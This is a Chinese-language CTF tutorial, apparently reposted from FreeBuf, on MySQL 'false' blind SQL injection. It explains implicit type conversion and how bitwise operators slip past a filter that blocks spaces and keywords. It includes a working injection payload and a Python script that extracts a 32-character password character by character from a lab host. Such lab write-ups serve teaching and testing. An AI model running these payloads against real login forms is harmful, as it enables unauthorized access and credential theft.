webbug php盲注,实例讲解False盲注基础原理

本文探讨了如何利用MySQL的隐式类型转换特性进行false盲注,通过举例说明了利用'|(ascii(mid((password)from(1)))>53)#'构造payload绕过过滤的方法。作者分享了通过位运算和ASCII码判断实现注入的过程,并提供了Python脚本示例。
摘要由CSDN通过智能技术生成

0×01 前言

false盲注有些时候可以绕过一些WAF,也是容易被忽视的细节。本文的目的在于通过做CTF的同时来学习注入原理,同时也运用到自身的能力。这里只是简单说一些我自己的理解,也许网上有更好的思路和见解,都是值得学习的。

0×02 false注入原理

MYSQL的隐式类型转换,当字符串和数字比较时,会把字符串转为浮点数,而字符串转换时会产生一个warning,转换的结果为0,但如果字符串开头是数字话还是会从数字部分截断,转换为数字

f30b26ce24078b5ecc058ffc46f6b4f0.png

051c4d21fc79b5637b41e033e770d63e.png

0×03 实例

举例地址为:

f42c62b06d8e26d8345f4ef411dafa3d.png

填入username和password之后,Burp抓包,send to repeater分析一下

发现过滤了挺多的,空格,%0a,/**/,and,union等等

但是 |(位或)&(位与)^(位异或)没有过滤掉

这里的话应该来说都可以用,我试了一下|(位或)和 ^(位异或),这两个都是可以的

构造一个payload语句为:username=admin’|(ascii(mid((password)from(1)))>53)#&password=sd

函数介绍:MID(column_name,start[,length]) 因为过滤掉空格的原因,才用上述格式

ASCII() 返回字符表达式最左端字符的ASCII 码值

当第一字母的ascii码值为53的时候,右边的表示式则为false,与‘admin’ 或, 相当与   0 | 0 结果为0,当username=0时,返回查询字段的所有数据,(只要username没有以数字开头的)这里注意 按位或的优先级高于=,所以是先按位或再赋值给username。

当然了,想构造为0的话不止只有位运算符,还有+号(‘ ’+‘ ’=0),  -号(' '-' '=0), *号(' '*' '=0),  /号(' '/1=0), %取余(' '%1=0)等等

92b8a774388be8179a7ac7435b9ee044.png

可以先判断一下字段长度:

654251c4d74e5f8828eb6a8e90a64670.png

d3b9514ae7c9d57349720d6cc3982713.png

根据页面信息判断为32位

原理都讲得差不多了

可以自己手注,但似乎太麻烦了

下面可以写一个Python脚本跑出来import requests

url = "http://118.89.219.210:49167/index.php"

r = requests.Session()

result=''

for i in range(1,33):

for j in range(37,127):

payload = "admin'|(ascii(mid((password)from({0})))>{1})#".format(str(i),str(j))

data={"username":payload,"password":"psdvs"}

print payload

html=r.post(url,data=data)

if "password error" in html.content:

result+=chr(j)

print result

break

print result

结果为:

8a51a78bf5341aa26d4d43502139864b.png

*本文作者:ButterCat,转载请注明来自FreeBuf.COM

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值